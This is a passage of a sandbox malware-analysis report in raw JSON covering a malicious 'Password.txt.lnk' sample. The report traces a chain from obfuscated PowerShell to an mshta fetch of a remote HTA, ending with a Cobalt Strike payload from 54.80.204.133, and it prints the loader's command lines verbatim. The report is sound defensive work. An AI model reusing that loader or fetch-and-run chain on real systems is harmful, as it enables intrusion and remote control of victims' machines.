identified as malicious","description":"11/57 Antivirus vendors marked dropped file \"terror_1_.hta\" as malicious (classified as \"VBS.Heur.ObfDldr.26.9C04287C\" with 19% detection rate)\n 53/68 Antivirus vendors marked dropped file \"fraud.exe\" as malicious (classified as \"Trojan.CobaltStrike\" with 77% detection rate)\n 11/57 Antivirus vendors marked dropped file \"urlref_http54.80.204.13380terror.hta\" as malicious (classified as \"VBS.Heur.ObfDldr.26.9C04287C\" with 19% detection rate)","origin":"Binary File","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Monitors specific registry key for changes","description":"\"mshta.exe\" monitors \"\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\services\\WinSock2\\Parameters\\Protocol_Catalog9\" (Filter: 1; Subtree: 1697024)\n \"mshta.exe\" monitors \"\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\services\\WinSock2\\Parameters\\NameSpace_Catalog5\" (Filter: 1; Subtree: 4257953280)\n \"fraud.exe\" monitors \"\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\services\\WinSock2\\Parameters\\Protocol_Catalog9\" (Filter: 1; Subtree: 9763072)\n \"fraud.exe\" monitors \"\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\services\\WinSock2\\Parameters\\NameSpace_Catalog5\" (Filter: 1; Subtree: 4257953280)","origin":"API Call","mitre_attack_id":"T1012","relevance":4,"id":"api-12","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"54.80.204.133\"\n Potential IP \"54.80.204.133\" found in string \"GET /fuckusaterrorists.txt HTTP/1.1\nHost: 54.80.204.133\nConnection: Keep-Alive\"\n Potential IP \"54.80.204.133\" found in string \"GET /fraud.exe HTTP/1.1\nHost: 54.80.204.133\"\n Potential IP \"54.80.204.133\" found in string \"GET /k2Rn HTTP/1.1\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0; LG; LG-E906)\nHost: 54.80.204.133\nConnection: Keep-Alive\nCache-Control: no-cache\"\n Potential IP \"54.80.204.133\" found in string \"http://54.80.204.133:80/terror.hta\"","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 54.80.204.133 on port 80 is sent without HTTP header","origin":"Network Traffic","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"suspicious","category":"Network Related","name":"Uses a User Agent typical for browsers, although no browser was ever launched","description":"Found user agent(s): Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)","origin":"Network Traffic","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"mshta.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")\n \"fraud.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"suspicious","category":"Remote Access Related","name":"Reads terminal service related keys (often RDP related)","description":"\"fraud.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSUSERENABLED\")\n \"fraud.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSAPPCOMPAT\")","origin":"Registry Access","mitre_attack_id":"T1021.001","relevance":10,"id":"registry-61","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"$2a","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"mshta.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")\n \"fraud.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"suspicious","category":"System Security","name":"Queries the display settings of system associated file extensions","description":"$2b","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-47","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"SYEARMONTH\")\n \"mshta.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"mshta.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"mshta.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"NOTEPAD.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"NOTEPAD.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"NOTEPAD.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"fraud.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"fraud.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Detected MSHTA process execution","description":"Process \"mshta.exe\" with commandline \"http://54.80.204.133:80/terror.hta\" (UID: 00000000-00001948)","origin":"Monitored Target","mitre_attack_id":"T1218.005","relevance":10,"id":"target-113","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted Antivirus engine","description":"No specific details available","origin":"External System","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"53/68 Antivirus vendors marked spawned process \"fraud.exe\" (PID: 3256) as malicious (classified as \"Trojan.CobaltStrike\" with 77% detection rate)","origin":"Monitored Target","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$2c","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"malicious","category":"Network Related","name":"Found more than one unique User-Agent","description":"Found the following User-Agents: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)\n Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0; LG; LG-E906)\n Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)","origin":"Network Traffic","relevance":5,"id":"network-15","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"Found malicious artifacts related to \"54.80.204.133\": ...\n\n URL: http://54.80.204.133/ (AV positives: 4/92 scanned on 05/24/2022 05:24:09)\n URL: http://54.80.204.133/fuckusaterrorists.txt (AV positives: 2/92 scanned on 05/23/2022 16:02:49)\n URL: http://54.80.204.133/k2Rn (AV positives: 2/92 scanned on 05/23/2022 15:46:12)\n URL: http://54.80.204.133/testinghta.hta (AV positives: 1/92 scanned on 05/22/2022 19:15:14)\n File SHA256: 5252edc97901990d3da6a5af0f39731c1d4a69368d30ec3320351e932ba2c693 (AV positives: 45/73 scanned on 05/22/2022 16:55:39)","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Checks for a resource fork (ADS) file","description":"\"fraud.exe\" checked file \"C:\"","origin":"API Call","mitre_attack_id":"T1564.004","relevance":5,"id":"api-35","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$2d","origin":"Monitored Target","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]}],"incidents":[{"name":"Remote Access","details_count":1,"details":[{"detail":"Reads terminal service related keys (often RDP related)"}],"sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"name":"Persistence","details_count":1,"details":[{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"name":"Fingerprint","details_count":3,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Queries sensitive IE security settings"}],"sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]}]},"activity":{"stats":{"process_count":5,"spawned_processes_count":5,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":10,"imported_dlls_count":137,"dropped_files_count":0,"extracted_files_count":6,"files_written_count":12,"files_deleted_count":0,"registry_keys_created_count":10,"registry_keys_modified_count":0,"registry_keys_deleted_count":2,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":12,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":0,"contacted_urls_count":5,"http_requests_count":5},"behavior_tags":["cobaltstrike","commodity","criminal","rat"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"628cce0df25b22247a59c84e","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Link","contacted_countries":["USA"],"submit_name":"Password.txt.lnk","analysis_start_time":"2022-05-24T12:22:37+00:00","indicators_count":{"informative":24,"suspicious":20,"malicious":8},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"54.80.204.133","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]}],"dns_resolutions":null,"http_requests":[{"host":"54.80.204.133","host_ip":"54.80.204.133:80","url":"/terror.hta","method":"GET","header":"GET /terror.hta HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)\nHost: 54.80.204.133\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"host":"54.80.204.133","host_ip":"54.80.204.133:80","url":"/fuckusaterrorists.txt","method":"GET","header":"GET /fuckusaterrorists.txt HTTP/1.1\nHost: 54.80.204.133\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"host":"54.80.204.133","host_ip":"54.80.204.133:80","url":"/fraud.exe","method":"GET","header":"GET /fraud.exe HTTP/1.1\nHost: 54.80.204.133","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"host":"54.80.204.133","host_ip":"54.80.204.133:80","url":"/k2Rn","method":"GET","header":"GET /k2Rn HTTP/1.1\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0; LG; LG-E906)\nHost: 54.80.204.133\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"host":"54.80.204.133","host_ip":"54.80.204.133:80","url":"/pixel.gif","method":"GET","header":"GET /pixel.gif HTTP/1.1\nAccept: */*\nCookie: ny1gyjh2TFn+S+VI269EVnKkqmRKA2f3h35hvKgwna6OlpbS8Do3Qt2b66qD+oZIp6qnp45IyxB6lzyYrAitRx8nERwlqYPP3/8Ha8JwQ3u6F+m78hRx7nmX37OvQrm1Adwo0r8zSpskbQl/Ow8ZRN54oSwOkGeMlYod77NfGoc=\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)\nHost: 54.80.204.133\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}],"processes":[{"pid":4016,"ppid":0,"name":"powershell.exe","command_line":"<#cbf't;}jOd0#>$VhgvSKDShceNHSB=@(88809,88815,88804,88816,88797,88732,88804,88816,88816,88812,88758,88747,88747,88753,88752,88746,88756,88748,88746,88750,88748,88752,88746,88749,88751,88751,88758,88756,88748,88747,88816,88801,88814,88814,88811,88814,88746,88804,88816,88797);<#cbf't;}jOd0#>$IPTXcrDJgTk=@(88773,88769,88788);<#cbf't;}jOd0#>function ynNMCuxrX($mGheILKZoZFgx){$JFlugevtafEHQt=88700;<#cbf't;}jOd0#>$MxRBYlOSztVbNN=$Null;foreach($TCfJmJUUtHUFA in $mGheILKZoZFgx){$MxRBYlOSztVbNN+=[char]($TCfJmJUUtHUFA-$JFlugevtafEHQt)};return $MxRBYlOSztVbNN};sal EMNyoxSUtWaCVP (ynNMCuxrX $IPTXcrDJgTk);<#cbf't;}jOd0#>EMNyoxSUtWaCVP((ynNMCuxrX $VhgvSKDShceNHSB));","sha256":"a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","uid":"00000000-00004016","icon":"$2e"},{"pid":1948,"ppid":4016,"name":"mshta.exe","command_line":"http://54.80.204.133:80/terror.hta","sha256":"8c10ae4be93834a4c744f27ca79736d9123ed9b0d180db28556d2d002545baf2","normalized_path":"%WINDIR%\\system32\\mshta.exe","parent_uid":"00000000-00004016","uid":"00000000-00001948"},{"pid":2776,"ppid":1948,"name":"powershell.exe","command_line":"$2f","sha256":"a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00001948","uid":"00000000-00002776"},{"pid":3040,"ppid":2776,"name":"NOTEPAD.EXE","command_line":"%APPDATA%\\fuckusaterrorists.txt","sha256":"933e1778b2760b3a9194c2799d7b76052895959c3caedefb4e9d764cbb6ad3b5","normalized_path":"%WINDIR%\\system32\\NOTEPAD.EXE","parent_uid":"00000000-00002776","uid":"00000000-00003040"},{"pid":3256,"ppid":2776,"name":"fraud.exe","command_line":"","sha256":"eaa7d48f04ea3a1d5727bccfd39c3d4c502a439a9d8ccd24045a8e81f68051f2","normalized_path":"%APPDATA%\\fraud.exe","parent_uid":"00000000-00002776","uid":"00000000-00003256"}],"all_imported_dlls":["nsi.dll","Microsoft.WSMan.Management.ni.dll","netutils.dll","oleacc.dll","shell32.dll","kernel32.dll","System.Core.ni.dll","crypt32.dll","dhcpcsvc.dll","api-ms-win-downlevel-shell32-l1-1-0.dll","sxs.dll","nlaapi.dll","RpcRtRemote.dll","mscorrc.dll","dwmapi.dll","scrrun.dll","diasymreader.dll","srvcli.dll","Microsoft.PowerShell.Security.ni.dll","System.Xml.ni.dll","KernelBase.dll","WindowsCodecs.dll","shlwapi.dll","VxSSL64.dll","propsys.dll","System.Management.ni.dll","secur32.dll","ieframe.dll","api-ms-win-downlevel-version-l1-1-0.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","sechost.dll","version.dll","jscript9.dll","credssp.dll","oleaut32.dll","msctf.dll","slc.dll","urlmon.dll","winnsi.dll","WSHTCPIP.DLL","api-ms-win-downlevel-advapi32-l1-1-0.dll","user32.dll","comdlg32.dll","cfgmgr32.dll","lpk.dll","fltLib.dll","System.Management.Automation.ni.dll","sfc_os.dll","ntshrui.dll","mscorlib.ni.dll","wininet.dll","iertutil.dll","devobj.dll","apphelp.dll","mscoree.dll","System.DirectoryServices.ni.dll","System.Data.ni.dll","msasn1.dll","dnsapi.dll","rpcrt4.dll","api-ms-win-core-synch-l1-2-0.dll","shfolder.dll","sfc.dll","imm32.dll","userenv.dll","netprofm.dll","shdocvw.dll","System.ni.dll","oleaccrc.dll","Wldap32.dll","mscoreei.dll","System.Data.dll","dxgi.dll","normaliz.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","msls31.dll","ole32.dll","linkinfo.dll","mswsock.dll","rasadhlp.dll","wintrust.dll","msvcrt.dll","DWrite.dll","IPHLPAPI.DLL","dhcpcsvc6.dll","rpcss.dll","mscorjit.dll","wshqos.dll","npmproxy.dll","System.Configuration.ni.dll","rtutils.dll","comctl32.dll","mshtml.dll","d3d10warp.dll","gdi32.dll","usp10.dll","tzres.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","webio.dll","ntdll.dll","advapi32.dll","rsaenh.dll","sspicli.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","api-ms-win-downlevel-user32-l1-1-0.dll","d2d1.dll","duser.dll","uxtheme.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","wship6.dll","d3d11.dll","mscorwks.dll","Microsoft.PowerShell.Commands.Diagnostics.ni.dll","vbscript.dll","cryptbase.dll","ws2_32.dll","ntmarta.dll","cryptsp.dll","System.Transactions.ni.dll","System.Transactions.dll","rasman.dll","setupapi.dll","profapi.dll","FWPUCLNT.DLL","psapi.dll","System.Configuration.Install.ni.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","Microsoft.PowerShell.Commands.Management.ni.dll","rasapi32.dll","clbcatq.dll","cscapi.dll","msvcr80.dll","winhttp.dll","msimtf.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","atl.dll","xmllite.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"fraud.exe","sha256":"eaa7d48f04ea3a1d5727bccfd39c3d4c502a439a9d8ccd24045a8e81f68051f2","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"name":"terror_1_.hta","sha256":"60017bd99a03f727c9b6d79cd20b9816f625bb74e40c5ff7a4d563f6d4c2a949","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"name":"urlref_http54.80.204.13380terror.hta","sha256":"60017bd99a03f727c9b6d79cd20b9816f625bb74e40c5ff7a4d563f6d4c2a949","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"name":"fuckusaterrorists.txt","sha256":"650ff2eaaa7ceed31d338322c84fd07b3e053c56d79375ef4635eae72faf6721","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"name":"G65JRM29BNRQS8IF46NC.temp","sha256":"5edf10536287d223a00bbcc696a48c02a33a4614695c21ee012f0c301613449b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"name":"V1H6HUPEVFB04T76N9CO.temp","sha256":"f810b8313810a7959a05eae5c7379e5cab54d13f7a4f5c09058ed85ff04cd946","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]}],"files_written":[{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\CP53U0VR\\terror[1].hta","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{C3450F58-7060-4AEA-B0A0-C245927D78D0}","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{5F4A384C-5B98-4E51-85D5-8FED9B27753E}\\","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\AC-1F-6B-0D-DB-84\\","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{5F4A384C-5B98-4E51-85D5-8FED9B27753E}\\AC-1F-6B-0D-DB-84\\","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\CONNECTIONS\\","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\POWERSHELL_RASMANCS\\","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\POWERSHELL_RASAPI32\\","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"key":"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{5F4A384C-5B98-4E51-85D5-8FED9B27753E}\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\AC-1F-6B-0D-DB-84\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\!IECompat!Mutex","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"name":"!IECompat!Mutex","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"name":"Global\\.net clr networking","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"name":"_SHuassist.mtx","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"name":"RasPbFile","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\.net clr networking","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]}]}},"report_ids":{"sandbox_job_ids":["628cce0df25b22247a59c84e"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Sample 4c6a8a2acdc3… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 4c6a8a2acdc3…. Threat score 100/100. 5/26 AV engines flagged this file. 8 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/4c6a8a2acdc3bc3ab8fe29295981caf1a07ea69a60372df05a2bc74e383bb8dd"}],["$","meta","4",{"property":"og:title","content":"Malicious Sample 4c6a8a2acdc3… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 4c6a8a2acdc3…. Threat score 100/100. 5/26 AV engines flagged this file. 8 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/4c6a8a2acdc3bc3ab8fe29295981caf1a07ea69a60372df05a2bc74e383bb8dd"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Sample 4c6a8a2acdc3… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 4c6a8a2acdc3…. Threat score 100/100. 5/26 AV engines flagged this file. 8 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox 